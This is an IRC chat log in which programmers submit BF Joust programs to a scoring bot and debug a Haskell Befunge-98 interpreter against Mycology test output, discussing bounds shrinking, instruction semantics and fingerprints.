21:33:25 <Vorpal> elliott, you fail at counting stack stacks
21:33:52 <Vorpal> ais523, it is
21:34:18 <Vorpal> why did I call comment that with "// Scalars / vector"
21:34:25 <Vorpal> while accurate that is a damn strange way to describe it
21:35:46 <Vorpal> elliott, does it work better now?
21:35:46 -!- augur has quit (Remote host closed the connection).
21:37:08 <impomatic> !bfjoust oneshot >(-{}>)*7(>[[>](>)*8([-])*21])*21
21:37:10 <EgoBot> Score for impomatic_oneshot: 0.0
21:37:23 <ais523> impomatic: (-{}>)*7?
21:37:29 <ais523> that doesn't look like valid syntax
21:37:36 <impomatic> !bfjoust oneshot >(-{-}>)*7(>[[>](>)*8([-])*21])*21
21:37:41 <EgoBot> Score for impomatic_oneshot: 0.0
21:37:41 <Phantom_Hoover> http://www.mathfail.com/math-pic-8.png
21:37:46 <ais523> also, [>] is incredibly dubious in BF Joust, it generally either does nothing or suicides
21:37:49 <Phantom_Hoover> That is in itself a math fail.
21:38:09 <Vorpal> Going to test concurrent execution with 2 IPs.
21:38:14 <Vorpal> Deewiant, you never test with 3?
21:38:22 <Deewiant> Nope
21:38:28 <Deewiant> Not explicitly, anyway
21:38:36 <Deewiant> I do use more than 2 at some points, I think
21:38:36 <Vorpal> Deewiant, hard to make sure you have the right order then
21:38:36 <Phantom_Hoover> Particularly: the complex numbers aren't a superset of the hyperreals, and it seems to be saying thatt there are non-transcendental, non-algebraic reals.
21:38:39 <fizzie> Deewiant: You should test with 0, 1 and infinity.
21:38:40 <Vorpal> Deewiant, hm okay
21:38:48 <elliott> fizzie: You forgot -24.
21:38:51 <Deewiant> Vorpal: But only in fingerprints
21:38:52 <elliott> It's the fourth and final number.
21:38:53 <impomatic> !bfjoust oneshot >(-{-}>)*7(>[[>](>)*7([-])*21])*21
21:38:56 <Vorpal> fizzie, what about jitfunge? Any progress?
21:38:58 <EgoBot> Score for impomatic_oneshot: 0.0
21:39:00 <Vorpal> Deewiant, which one(s)?
21:39:07 <ais523> impomatic: you mean (-{-}>)%7, surely?
21:39:07 <elliott> Phantom_Hoover: COUNTING NUMBERS
21:39:14 <Deewiant> Vorpal: The ones that do stuff with IPs. :-P
21:39:18 <elliott> I like how integers aren't whole somehow.
21:39:19 <Deewiant> IIPC, TRDS, maybe others.
21:39:20 <fizzie> Vorpal: I'm pretty sure I'll blerb about it on-channel if I manage to make any process. Unfortunately, no.
21:39:22 <impomatic> ais523: that's it, thanks!
21:39:31 <Vorpal> fizzie, ah
21:39:35 <impomatic> !bfjoust oneshot >(-{-}>)%7(>[[>](>)*7([-])*21])*21
21:39:36 <Phantom_Hoover> elliott, well, the subsets of Z are a point of much contention.
21:39:38 <EgoBot> Score for impomatic_oneshot: 0.0
21:39:41 <ais523> or just (-)*8(>)*7
21:39:58 <ais523> even so, that program looks doomed to suicide off the right end of the tape
21:40:00 <elliott> push 0x5348524F -- SHRO
21:40:00 <elliott> That the interpreter's handprint is 1397248591
21:40:01 <impomatic> !bfjoust oneshot >(-)*8(>)*7(>[[>](>)*7([-])*21])*21
21:40:01 <Vorpal> fizzie, I don't know llvm asm, and I hate x86 asm. Otherwise I might give it a stab
21:40:04 <EgoBot> Score for impomatic_oneshot: 0.0
21:40:10 <Vorpal> fizzie, something like AVR would be cool as a target
21:40:10 <elliott> Deewiant: is that decimal?
21:40:12 <ais523> what it does is, when it finds a flag or decoy, keeps moving right until it finds an empty cell
21:40:12 <Vorpal> fun to write for
21:40:13 -!- augur has joined.
21:40:21 <ais523> which is likely to be off the end of the tape, as programs rarely leave gaps in their decoys
21:40:25 <Deewiant> elliott: Yes, . only outputs decimal.
21:40:26 <Phantom_Hoover> http://www.mathfail.com/math-notes-2.jpg
21:40:31 <impomatic> !bfjoust oneshot >(-)*8(>)*7(>[[>](>)*2(>[-])*21])*21
21:40:33 <Phantom_Hoover> I've seen that Cantor image before.
21:40:34 <EgoBot> Score for impomatic_oneshot: 1.8
21:40:35 <elliott> That the greatest point, relative to that point, is ( 180 909 )
21:40:35 <elliott> BAD: should have been ( 183 911 )
21:40:37 <elliott> o_O
21:40:39 <elliott> That's not good.
21:40:42 <Phantom_Hoover> Oddly, it was on a statistics book.
21:40:45 <elliott> Oh.
21:40:47 <elliott> Relative to that point.
21:40:50 <elliott> That is the fucking stupidest...
21:40:51 <impomatic> ais523: I was looking for a gap... perhaps not a very good strategy :-(
21:41:03 <Vorpal> elliott, :D
21:41:03 <ais523> I can imagine programs it would beat, but IIRC there aren't any on the hill
21:41:15 <ais523> I can't think of any programs that leave gaps in decoys
21:41:20 <Vorpal> ais523, < for example
21:41:30 <ais523> Vorpal: ?
21:41:37 <Vorpal> ais523, everything beats that program
21:41:42 <ais523> oh, right
21:41:53 <elliott> that's not on the hill
21:41:59 <Vorpal> elliott, indeed!
21:42:18 <elliott> That the least point containing a non-space cell is ( -3 -2 )
21:42:18 <elliott> That the greatest point, relative to that point, is ( 0 0 )
21:42:18 <elliott> BAD: should have been ( 183 911 )
21:42:18 <Vorpal> <ais523> I can't think of any programs that leave gaps in decoys <-- one of my test ones did
21:42:21 <impomatic> I was looking for a program with no decoy that leaves a trail, e.g. (>)*9 ([-]+>)*21
21:42:29 <Vorpal> elliott, yep you fail :P
21:42:42 <ais523> impomatic: oh, I see
21:42:56 <elliott> Compare:
21:42:58 <impomatic> !bfjoust target (>)*9 ([-]+>)*21
21:43:00 <elliott> oh
21:43:01 <EgoBot> Score for impomatic_target: 9.1
21:43:03 <elliott> Vorpal:
21:43:06 <elliott> let (minX,minY) = minCoords (fungeSpace st)
21:43:06 <elliott> let (maxX,maxY) = minCoords (fungeSpace st)
21:43:06 <elliott> pushVec (maxX-minX,maxY-minY)
21:43:06 <elliott> pushVec (minX,minY)
21:43:07 <elliott> spot the bug
21:43:21 <Vorpal> elliott, the second line
21:43:21 <elliott> hmm
21:43:23 <elliott> ais523: idea
21:43:24 <Deewiant> elliott: You already know where the bug is, why do you do this
21:43:31 <Deewiant> We realize you make stupid mistakes :-P
21:43:33 <elliott> Deewiant: to mock myself :D
21:43:34 <Vorpal> elliott, minCoords should be maxCoords
21:43:42 <Deewiant> It was obvious from the output anyway
21:43:43 <elliott> ais523: an IDE which shows things that are both close and have low edit distance as REALLY NOTICEABLE
21:43:43 <impomatic> !bfjoust oneshot >(-)*8(>)*7(>[[>](>)*7(>[-])*21])*21
21:43:45 <EgoBot> Score for impomatic_oneshot: 0.0
21:43:49 <elliott> that way, close mistakes would stick out :D
21:43:58 <Deewiant> Although I expected maxX-maxX,maxY-maxY
21:44:14 <ais523> elliott: I had that idea already
21:44:19 <elliott> That the command-line arguments were: [ "b" null ]
21:44:21 <ais523> in fact, it would be 3D syntax coloring
21:44:21 <elliott> Err...
21:44:25 <elliott> It's 98 0 0
21:44:27 <elliott> Why is there a null string there?
21:44:31 <ais523> giving redness, blueness, greenness according to similarity on other parts of code
21:44:32 <elliott> Or is that how it always displays?
21:44:59 <Deewiant> Nope
21:45:03 <impomatic> !bfjoust oneshot >(-)*8(>)*7(>[[>](>)*1(>[-])*21])*21
21:45:07 <Deewiant> Did you push a zero after that?
21:45:08 <EgoBot> Score for impomatic_oneshot: 0.0
21:45:13 <Vorpal> elliott, obvious!
21:45:24 <Vorpal> elliott, 0 terminates string, 00 terminates list
21:45:27 <elliott> Deewiant: Yes, as the complete lack of command-line arguments.
21:45:32 <Vorpal> elliott, to terminate string and list you need 000
21:45:35 <elliott> erm
21:45:38 <elliott> Deewiant: Yes, as the complete lack of environment variables.
21:45:39 <elliott> 98 0 0 0
21:45:50 <ais523> !bfjoust idea_stolen_from_quintopia ([](+)*256)*100000
21:45:52 <Deewiant> Right, and it can't know where what ends.
21:46:04 <EgoBot> Score for ais523_idea_stolen_from_quintopia: 11.5
21:46:07 <Deewiant> So it treats that as a null argument at the end.
21:46:09 <elliott> Deewiant: You can, with magic.
21:46:15 <Deewiant> It has no magic.
21:46:18 <Deewiant> The magic is gone.
21:46:46 <impomatic> !bfjoust oneshot >(-)*8(>)*7(>[[>](>)*8[-](.)*1000000])*21
21:46:49 <EgoBot> Score for impomatic_oneshot: 0.0
21:47:16 <ais523> impomatic: let me test that against some programs on my local "why a program loses" interp
21:47:30 <Vorpal> Deewiant, how comes you added a test for "GOOD: : on empty stack makes stack size 2 according to y"
21:47:36 <impomatic> ais523: thanks...
21:47:40 <Vorpal> Deewiant, it ruins the nice bit about peek and push ;P
21:47:43 <Deewiant> Vorpal: Because you implemented it as push(top)
21:47:58 <Vorpal> Deewiant, oh you added it after me?
21:48:08 <Deewiant> I'm pretty sure I did
21:48:11 <Vorpal> heh
21:48:21 <Deewiant> Similarly \
21:48:23 <Vorpal> yeah
21:48:28 <elliott> <Vorpal> Deewiant, how comes you added a test for "GOOD: : on empty stack makes stack size 2 according to y"
21:48:30 <Vorpal> Deewiant, actually I never did \ that way
21:48:30 <elliott> is that /meant/ to happen?
21:48:39 <Vorpal> elliott, what? Yes
21:48:42 <elliott> i'll have to fix that then :P
21:48:47 <Vorpal> elliott, haha
21:49:01 <Vorpal> elliott, it is defined as pop,push,push
21:49:24 <elliott> Vorpal: Hey, still... this is only my second day and it's already passing a large part of the stock-standard-Befunge Mycology, and quickly no less.
21:49:28 <elliott> Admittedly I had Deewiant on hand.
21:49:29 <elliott> But still :P
21:49:43 <Vorpal> elliott, well sure this far is easy to get
21:49:49 <Vorpal> elliott, t will require another day
21:49:59 <Vorpal> elliott, and also you aren't doing it in C. That helps.
21:50:20 <Vorpal> elliott, you don't have to spend time debugging memory leaks in stack and so on
21:50:22 <elliott> Vorpal: Have I mentioned that apart from file load, which isn't very optimised, Mycology up to this point displays instantly? :P
21:50:28 <elliott> FUCK YEAH GHC
21:50:43 <Vorpal> elliott, well it does for cfunge too including file load
21:50:45 <impomatic> !bfjoust oneshot (>)*7(>[[>](>)*8[-]+[]])*22
21:50:51 <elliott> Vorpal: Yes, but cfunge is optimised to shit :P
21:50:53 <Vorpal> elliott, I hope you will mmap the file, since you love mmap
21:50:59 <elliott> Fingerprints will be fun if you ask me... of course I'm using a fancy modern language so I don't dread managing state. :)
21:51:05 <elliott> Vorpal: I might.
21:51:21 <Vorpal> elliott, in other words you will copy cfunge :P
21:51:34 <elliott> Vorpal: I'm not gonna use asm.
21:51:55 <Vorpal> elliott, it doesn't for that
21:52:44 <ais523> impomatic: it seems your program is failing to sink the flag, even when it identifies it correctly
21:52:56 <Vorpal> elliott, do you reflect in { if you run out of memory btw?
21:53:08 <ais523> ah, no
21:53:11 <ais523> it's just really finicky
21:53:17 <impomatic> ais523: hmmm... I mist have messed something up then
21:53:23 <EgoBot> Score for impomatic_oneshot: 3.6
21:53:26 <ais523> the thing is, skip then trail is a reasonably bad strategy as-is
21:53:36 <ais523> /and/, the natural implementation of skip-then-trail leaves a gap of 7 not 8
21:53:49 <ais523> because otherwise it doesn't go into the loop properly
21:54:05 <ais523> the other issue is, there's a chance you end up overtaking the trail
21:54:11 <impomatic> !bfjoust oneshot (>)*7(>[[>](>)*7[-]+[]])*22
21:54:16 <EgoBot> Score for impomatic_oneshot: 3.6
21:54:17 <ais523> which always happens on short tapes, and a reasonable proportion of the time even on longer tapes
21:54:41 <Vorpal> elliott, cfunge reflects on OOM in {
21:54:43 <Vorpal> elliott, DO YOU!?
21:54:48 <quintopia> !bfjoust when_will_it_explode [](+)*111(>)*9(-)*64(<)*9[](+)*128(>)*9[-](<)*9[](+)*111(>)*10(-)*64(<)*10[](+)*128(>)*10[-](<)*10[](+)*111(>)*11(-)*64(<)*11[](+)*128(>)*11[-](<)*11[](+)*111(>)*12(-)*64(<)*12[](+)*128(>)*12[-](<)*12[](+)*111(>)*13(-)*64(<)*13[](+)*128(>)*13[-](<)*13[](+)*111(>)*14(-)*64(<)*14[](+)*128(>)*14[-](<)*14[](+)*111
21:54:55 <elliott> Vorpal: No; Haskell's semantic model is based on a machine with infinite memory.
21:55:00 <EgoBot> Score for quintopia_when_will_it_explode: 11.5
21:55:03 <elliott> It's not my fault if your implementation incorrectly uses a finite amount.
21:55:06 <ais523> quintopia: interesting twist on defence
21:55:09 <Vorpal> elliott, but in practise that won't be the case
21:55:19 <elliott> Vorpal: Is it my fault that the universe implements Haskell incorrectly?
21:55:24 <quintopia> ais523: i should try the full version eh?
21:55:25 <Vorpal> elliott, YES!
21:55:38 <impomatic> ais523: I think I'll give up on oneshot :-)
21:55:43 <ais523> quintopia: atm, it's only beating tripwire-dodgers and oneshot
21:55:53 <ais523> but I like the strategy, I'm just not sure why it isn't working
21:56:07 <Vorpal> ais523, you are fast at reading bfjoust!
21:56:10 <quintopia> ais523: it can't kill anyone on tapes longer than 14 atm :P
21:56:15 <quintopia> *15
21:56:20 <elliott> UNDEF: can't test o without working i, may overwrite some existing file
21:56:25 <elliott> Deewiant: You could just ask the user for a filename. :p
21:56:40 <Deewiant> Nah
21:56:55 <elliott> Deewiant: Easier than checking if a file is empty or not :-D
21:57:00 <ais523> quintopia: I know what's wrong
21:57:04 <Vorpal> Deewiant, wasn't it efunge that found you didn't handle o without i?
21:57:11 <ais523> it's because ] checks the value with the wrong timing
21:57:13 <Vorpal> or was it i without o
21:57:38 <quintopia> ais523: how is it doing it?
21:57:39 <Vorpal> elliott, mycology.b98 contains no user input
21:57:44 <elliott> Meh :P
21:57:46 <Vorpal> elliott, you want mycouser.b98 for that
21:57:46 <ais523> so []+++ doesn't add in time, as although the ] could catch the zeroising in time, it reads the value before the decrement
21:57:58 <ais523> i.e. on the cycle it decreases from 1 to 0, it reads 1
21:57:59 <elliott> It could just ask for input if i isn't implemented, but whatever.
21:58:03 <quintopia> oh
21:58:08 <quintopia> that would explain it
21:58:09 <elliott> BAD: ( reflects without popping correctly
21:58:10 <ais523> the cycle after, it stays at 0, it reads 0 but it's too late
21:58:16 <ais523> pity, the whole strategy seems not to work as a result
21:58:19 <Vorpal> elliott, that is fingerprint loading
21:58:21 <ais523> perhaps we should change that bit of the spec?
21:58:22 <elliott> Ah.
21:58:35 <Vorpal> elliott, this comes after: GOOD: null byte in string and zero compare as equal
21:58:47 <elliott> GOOD: \ on empty stack makes stack size 2 according to y
21:58:47 <elliott> BAD: ( reflects without popping correctly
21:58:47 <Vorpal> elliott, also handling of k with negative argument
21:58:49 <elliott> Does not :P
21:59:02 <Vorpal> elliott, just pop n, then pop n bytes. Then refect
21:59:02 <quintopia> ais523: yes it does seem like ] should check the value at the end of the cycle and not the beginning
21:59:04 <Vorpal> reflect*
21:59:04 <elliott> UNDEF: can't test o without working i, may overwrite some existing file
21:59:04 <elliott> 1y says this is not Concurrent Funge-98, won't test t...
21:59:04 <elliott> GOOD: y acts as pick instruction if given large enough argument
21:59:04 <elliott> GOOD: ] turns flying IP right
21:59:04 <elliott> GOOD: : on empty stack makes stack size 2 according to y
21:59:04 <elliott> GOOD: \ on empty stack makes stack size 2 according to y
21:59:05 <Vorpal> elliott, for now
21:59:06 <elliott> BAD: ( reflects without popping correctly
21:59:08 <elliott> Comes after y testing.
21:59:10 <elliott> Vorpal: Indeed.
21:59:14 <Vorpal> elliott, yes I meant after ( test
21:59:15 <Vorpal> duh
22:00:32 <elliott> The Mycology Befunge-98 test suite is practically done.
22:00:32 <elliott> Trying to quit with q. If the return status is 15, consider it GOOD...
22:00:32 <elliott> elliott@elliott-MacBookAir:~/Code/shiro$ echo $?
22:00:32 <elliott> 15
22:00:35 <elliott> :fuck yea:
22:00:39 <elliott> Oh wait, there's bads :P
22:00:52 <elliott> UNDEF: k with a negative argument executes more often than the absolute value of the argument
22:00:53 <elliott> Deewiant: False
22:00:57 <elliott> False false false
22:01:04 <elliott> My k does the only logical thing
22:01:14 <elliott> If n <= 0, then it advances to the next instruction |n| + 1 times.
22:01:20 <elliott> That handles 0k without any ugly SPECIAL CASES.
22:01:33 <elliott> Vorpal: Best semantics or best semantics?
22:01:51 <elliott> UNDEF: the empty string wrapped around the edge of space contains 1 character(s) (hopefully spaces)
22:01:53 <ais523> elliott: I'm pretty sure Deewiant was just trying to cover all possibilities when working out that
22:01:54 <elliott> Deewiant: Hmm, what...
22:01:55 <Vorpal> UNDEF: k with a negative argument reflects
22:01:57 <Vorpal> elliott, that is what I have
22:01:59 -!- impomatic has quit (Quit: ChatZilla 0.9.86 [Firefox 3.5.16/20101130074636]).
22:02:02 <elliott> Vorpal: Lame.
22:02:08 <elliott> Yours has special cases and stuff.
22:02:10 <elliott> <elliott> UNDEF: the empty string wrapped around the edge of space contains 1 character(s) (hopefully spaces)
22:02:14 <elliott> Shouldn't that be 0, "platonically"?
22:02:18 <Vorpal> UNDEF: the empty string wrapped around the edge of space contains 1 character(s) (hopefully spaces)
22:02:20 <ais523> elliott: so does yours, you just extended a special case from 0 to an entire halfspace
22:02:20 <Vorpal> same
22:02:24 <elliott> Deewiant: you?
22:02:32 <Vorpal> elliott, what about
22:02:33 <Vorpal> UNDEF: ( with a negative count reflects and pops 0 times or less than the absolute value of the count
22:02:33 <Vorpal> UNDEF: ) with a negative count reflects and pops 0 times or less than the absolute value of the count
22:02:36 <elliott> ais523: That's more like a single branch.
22:02:42 <elliott> ais523: Which is better than an explicit special case.
22:02:49 <elliott> UNDEF: ( with a negative count reflects and pops 0 times or less than the absolute value of the count
22:02:49 <elliott> UNDEF: ) with a negative count reflects and pops 0 times or less than the absolute value of the count
22:02:57 <elliott> I should make it parse some AMICEDs.
22:03:00 <elliott> :-)
22:03:13 <elliott> I'll make negative ( and ) reflect.
22:03:18 <elliott> Seems the sane thing to do.
22:03:23 <Vorpal> elliott, just to be different than me?
22:03:33 <elliott> Wait, I already do.
22:03:36 <elliott> By virtue of always reflecting.
22:03:37 <elliott> GOOD ENOUGH FOR ME
22:03:46 <ais523> elliott: do you pop first?
22:03:50 <ais523> like you should?
22:03:53 <elliott> yes
22:03:54 <elliott> BAD: after spacing top-left corner, y should report least point as ( -2 -1 ), not ( -10 -2 )
22:03:54 <elliott> BAD: after spacing top-left corner, y should report greatest point as ( 182 910 ), not ( 190 911 )
22:03:54 <elliott> BAD: after spacing right edge, least point reported by y should remain ( -2 -1 )
22:03:54 <elliott> BAD: after spacing right edge, y should report greatest point as ( 181 910 ), not ( 190 911 )
22:03:54 <elliott> BAD: after spacing bottom edge, y should report greatest point as ( 181 909 ), not ( 190 911 )
22:03:56 <ais523> also, is the program vaguely optimised yet?
22:04:09 <Vorpal> elliott, that is to do with shrinking bounds
22:04:09 <ais523> elliott: aha, the evil bounds recalculation
22:04:14 <elliott> yep
22:04:18 <elliott> ais523: It runs Mycology with no fingerprints or concurrent testing pretty much instantly after it loads, so it's fast enough for now.
22:04:23 <Vorpal> Testing fingerprint HRTI... loaded.
22:04:23 <Vorpal> UNDEF: G gives clock granularity as 1 microseconds
22:04:23 <Vorpal> GOOD: T reflected when called before M
22:04:23 <Vorpal> UNDEF: S pushed 461923
22:04:23 <Vorpal> UNDEF: T after M pushed 9 and a second T, after 675 ys, pushed 13819
22:04:25 <Vorpal> GOOD: ET reflected
22:04:28 <Vorpal> elliott, waiting for you to say that!
22:04:29 <Vorpal> ;P
22:04:33 <ais523> that's a huge improvement
22:04:36 <elliott> Vorpal: How hard can it be.
22:04:46 <elliott> ais523: Yes, I did the revolutionary thing of "cache the bounds rather than recalculate them constantly".
22:04:49 <Vorpal> elliott, well fingerprints semantics takes a bit of work
22:05:08 <ais523> elliott: and your reward was a bunch of BAD:
22:05:10 <Vorpal> elliott, I suggest this fingerprint implementation order: NULL, ROMA, MODU
22:05:10 <elliott> Vorpal: Yeah, but I've already worked out how to do it from the Haskell-side where every fingerprint can store its own state in both the global interpreter state and per-IP state.
22:05:12 <elliott> Type-safe.
22:05:14 <elliott> Booyah.
22:05:21 <Vorpal> elliott, they are simple and they help you work out the fingerprint system
22:05:22 <elliott> ais523: pretty much, yep
22:05:27 <elliott> ais523: and having to rewrite my wrapping code
22:05:27 <Phantom_Hoover> DID YOU KNOW: you need different work visas to teach in Edinburgh and Fife.
22:05:29 <Vorpal> elliott, see two last tests
22:05:34 <Vorpal> for why you want ROMA and MODU early on
22:05:35 <Deewiant> I suggest TRDS, TOYS
22:05:44 <ais523> elliott: you could recalculate bounds whenever y ran, I suppose
22:05:44 <Vorpal> Deewiant, ... that's unhelpful
22:05:49 <ais523> or on every p
22:05:52 <elliott> Is TOYS actually hard?
22:05:54 <Phantom_Hoover> Because we don't want that Fife scum coming over and stealing our jobs, evidently.
22:06:03 <ais523> elliott: not massively, but it's a lot of work
22:06:07 <Vorpal> elliott, no but TOYS cover every letter!
22:06:08 <elliott> Googling "TOYS befunge": "Befunge - Minecraft Forums"
22:06:11 <elliott> Blood pressure about to rise.
22:06:18 <elliott> "CHECK OUT #BEFUNGE ON IRC.ESPER.NET" HOW ABOUT NO
22:06:19 <ais523> now that seems like an interesting thread
22:06:32 <ais523> are people actually trying to do Minecraft funges/
22:06:41 <elliott> ais523: no
22:06:43 <Vorpal> ais523, sponge*
22:06:45 <elliott> ais523: it's just in the off-topic forum or whatever
22:06:50 <ais523> boring
22:06:56 <elliott> ais523: which, for a forum with as stupid a population as the minecraft forum's, is a bad idea
22:06:59 <elliott> to have
22:07:12 <elliott> Does anyone have a copy of the TOYS specification that isn't HTML sent as XHTML?
22:07:15 <elliott> So that I can read the damn thing.
22:07:20 <elliott> Gosh.
22:07:32 <elliott> Deewiant: You need to top this (wow, 2002): http://www.mail-archive.com/inline@perl.org/msg01110.html
22:07:43 <Vorpal> elliott, no I don't
22:07:46 <Vorpal> elliott, just wget it
22:07:49 <Vorpal> and open it locally
22:07:51 <elliott> *sigh* Okay.
22:08:16 <Vorpal> elliott, http://catseye.tc/projects/funge98/library/MODU.html http://catseye.tc/projects/funge98/library/ROMA.html and http://catseye.tc/projects/funge98/library/NULL.html
22:08:22 <Vorpal> elliott, they are good to start with
22:08:23 <elliott> "Under development." Comforting.
22:08:28 <elliott> Vorpal: I want to get all GOODs first.
22:08:39 <elliott> Vorpal: Which means bounds shrinking.
22:08:40 <Vorpal> elliott, Don't start with TOYS. It is not well defined
22:08:44 <Vorpal> elliott, good idea!
22:08:50 <elliott> What the fuck is a low-order and high-order copy of Funge-space.
22:08:57 <Deewiant> Have fun :-D
22:08:59 <Vorpal> elliott, the butterfly operator mentioned in TOYS is cargo cult!
22:09:27 <elliott> Deewiant: Seriously though, what :-D
22:09:31 <elliott> That's worse than MKRY specifications.
22:09:43 <Vorpal> elliott, yes for TOYS
22:10:02 <Vorpal> elliott, I invite you to GPL your program by not reinventing the wheel!
22:10:17 <elliott> I could just steal it from CCBI
22:10:21 <Vorpal> elliott, or that
22:10:28 <elliott> And it'd have less inline assembly, too :P
22:11:42 <Vorpal> elliott, not THAT file
22:11:53 <Vorpal> elliott, it is just part of the funge space setup code
22:11:57 <Vorpal> that has inline asm
22:12:00 <elliott> Suuer
22:12:02 <elliott> *Suure
22:12:05 <Vorpal> elliott, yep
22:12:44 <Vorpal> elliott, the television antenna instruction in TOYS is quite useful
22:12:47 <elliott> Does anyone want to see the most bloated Haskell file ever?
22:13:01 <elliott> Full of IRC quotes of Deewiant mocking Vorpal! Okay, one, and it's barely mocking.
22:13:24 <elliott> http://sprunge.us/EfNb
22:13:25 <elliott> BEHOLD
22:13:27 <elliott> SHIRO/INTERPRETER.HS
22:13:40 <elliott> Also, lots of outdated comments.
22:13:45 <elliott> For instance, k is now fully fixed :P
22:14:26 <Vorpal> -- <elliott> Deewiant: Fuck. I forgot that one space != two spaces in string mode.
22:14:28 <Vorpal> uh they are
22:14:40 <elliott> yes yes
22:14:41 <elliott> i meant
22:14:43 <elliott> one space != zero spaces
22:14:53 <elliott> that's why alltheoutputfromMycologylookedlikethistostartwith
22:15:07 <Vorpal> elliott, hahaha
22:15:22 <elliott> Vorpal: and it was so slow because of the bounds, plus the fact that i flushed every character
22:15:25 <elliott> Vorpal: so you saw it typing out
22:15:29 <elliott> GOOD::duplicatestopofstack
22:15:29 <elliott> and the like
22:15:33 <elliott> slooowly
22:15:50 <elliott> Vorpal: in fact, I could tell the difference between the , works test and the : duplicates test
22:15:53 <Vorpal> elliott, what you don't have a switch for fully buffered output?
22:16:01 <elliott> Vorpal: because the "GOOD: , works" is printed out manually
22:16:03 <elliott> and the rest use a loop
22:16:07 <elliott> so the first was like 7 times faster to type
22:16:10 -!- MigoMipo has quit (Read error: Connection reset by peer).
22:16:12 <elliott> Vorpal: I use fully buffered output always now.
22:16:14 <elliott> But I didn't then.
22:16:17 <elliott> Because it was so fucking slow.
22:16:32 <Vorpal> elliott, no you probably use line buffered
22:16:35 <Vorpal> rather than unbuffered
22:16:38 <elliott> Vorpal: Well, yes.
22:16:43 <elliott> _That_ I'm not changing.
22:16:46 <elliott> Make a fingerprint to switch it in-program. :)
22:16:51 <Vorpal> elliott, cfunge has an option for fully buffered
22:16:54 <Vorpal> (command line)
22:16:57 <elliott> Useless :P
22:17:02 <elliott> Apart from inflating benchmark results.
22:17:05 <Vorpal> elliott, nifty and useful
22:17:10 <elliott> "Nifty".
22:18:26 <Vorpal> elliott, you need to fix those placeholders too
22:18:32 <Vorpal> even if they don't say BAD as such
22:18:34 <elliott> Vorpal: Which?
22:18:37 <elliott> And yeah, I know.
22:18:39 <Vorpal> -- PLACEHOLDER: ENVIRONMENT VARIABLES
22:18:39 <Vorpal> push 0
22:18:39 <Vorpal> -- PLACEHOLDER: ARGUMENTS
22:18:40 <Vorpal> those
22:18:49 <elliott> That's for when I actually have an interface, instead of:
22:18:55 <elliott> -- test
22:18:55 <elliott> main :: IO ()
22:18:55 <elliott> main = do
22:18:55 <elliott> mycology <- B.readFile "mycology.b98"
22:18:55 <elliott> let st = fungeStateFromByteString mycology
22:18:56 <elliott> let FungeSpace m minXY maxXY = fungeSpace st in print $ (Map.size m, minXY, maxXY)
22:18:57 <elliott> ignore (evalShiro interpret st)
22:19:06 <Vorpal> elliott, env you can easily get hold of?
22:19:26 <elliott> Yes, but it's not exactly high-priority. :P
22:21:07 <Vorpal> elliott, will you render TURT to an svg?
22:21:27 <Vorpal> elliott, if so may I suggest efunge as state-of-the-art
22:21:28 <elliott> Vorpal: SDL and SVG.
22:21:35 <elliott> SDL is priority.
22:21:39 <Vorpal> elliott, in svg rendering
22:21:50 <elliott> I'm sure there's a Haskell library for that :P
22:22:08 <Vorpal> elliott, efunge is state-of-the-art in svg backends for TURT
22:22:19 <elliott> Isn't cfunge that
22:22:29 <Vorpal> elliott, no cfunge has a tiny bug in overlapping lines and dots
22:22:31 <Vorpal> well bugs
22:22:32 <Vorpal> not bug
22:22:41 <Vorpal> it isn't specified really
22:22:42 <elliott> X-D
22:22:46 <Vorpal> but efunge does it better
22:23:00 <elliott> (if x == minX || x == maxX || y == minY || y == maxY then
22:23:01 <elliott> trace "foo" ()
22:23:01 <elliott> else
22:23:01 <elliott> ()) `seq`
22:23:01 <elliott> FungeSpace (Map.delete k m) minXY maxXY -- TODO: Shrink
22:23:03 <elliott> This is how I check things
22:23:13 <Vorpal> elliott, look, cfunge assumes that dots go on top of lines. efunge does it in order of drawing :P
22:23:27 <Vorpal> elliott, thus cfunge uses a magic pen for the turtle robot
22:23:32 <Vorpal> thus it is correct. As well.
22:23:43 <elliott> :T min
22:23:44 <elliott> :t max
22:23:45 <lambdabot> forall a. (Ord a) => a -> a -> a
22:23:58 * elliott gets really confused
22:24:03 * Phantom_Hoover → sleep
22:24:05 <elliott> Shrinking bounds really does need a population count, right?
22:24:06 -!- Phantom_Hoover has quit (Quit: Leaving).
22:24:13 <Vorpal> elliott, why
22:24:25 <Vorpal> elliott, you could just recalculate them the hard way
22:24:26 <elliott> Because I'm too stupid to see how to do it even vaguely-efficiently otherwise.
22:24:43 <Vorpal> elliott, cfunge uses pop could per row and column yes
22:25:02 <Vorpal> elliott, no clue what ccbi does
22:25:11 <Vorpal> elliott, presumably it involves a CAS!
22:25:20 <elliott> Vorpal: An array of population count things
22:25:26 <elliott> Vorpal: But he wants to make it a something something k-d tree of them
22:25:30 -!- nrkn has joined.
22:25:35 <Vorpal> elliott, XD
22:25:47 <elliott> Isn't that right Deewiant "Computer Science Is My One True Love, Especially If It's Needlessly Academic" Deewiant
22:25:49 <Deewiant> I don't keep population counts, just the space itself
22:26:02 <Vorpal> Deewiant, so how do you shrink bounds
22:26:11 <elliott> Oh hi there, Vorpal "I Saved One Cycle In 2000 Lines, The Code Is Better Now" Vorpal.
22:26:16 <elliott> *With 2000
22:26:20 <Deewiant> By looping through the space
22:26:21 <Vorpal> elliott, XD
22:26:28 <Vorpal> heh
22:27:00 <Vorpal> elliott, I actually iterate through my hash table if the bounds are large instead. This is because I suspect it to be rather sparse
22:27:07 <Vorpal> so enumerating the values is better
22:27:12 <Vorpal> this generally works
22:27:37 <Vorpal> elliott, more importantly it makes slowdown.b98 work
22:28:43 <Vorpal> oh that is of course the hash table for column/row counts I enumerate
22:28:47 <Vorpal> not the full thing
22:29:06 <Vorpal> given small bounds I just try to shrink step by step
22:29:12 <Vorpal> better for dense code
22:30:15 <elliott> BAD: after spacing right edge, y should report greatest point as ( 181 910 ), not ( 182 910 )
22:30:25 <elliott> But I do...
22:30:34 <elliott> if x == minX || y == minY || x == maxY || y == maxY then [RECALCULATE INCREDIBLY SLOWLY]
22:30:48 <elliott> Or is that not enough.
22:31:16 <Vorpal> elliott, off by one error I suspect
22:31:19 <Vorpal> in your checks
22:31:47 <elliott> Meanwhile
22:31:48 <elliott> https://github.com/github/github-services/issues/closed#issue/54
22:31:58 <elliott> GitHub, the premier free website host!
22:32:47 <Vorpal> elliott, XD
22:33:49 <elliott> No off-by-one error that I can see.
22:34:01 <Vorpal> elliott, you are doing it wrong btw. You aren't lazy in recalculating the bounds!
22:34:08 <elliott> Who says?
22:34:14 <elliott> I actually am, just that they get forced immediately after :P
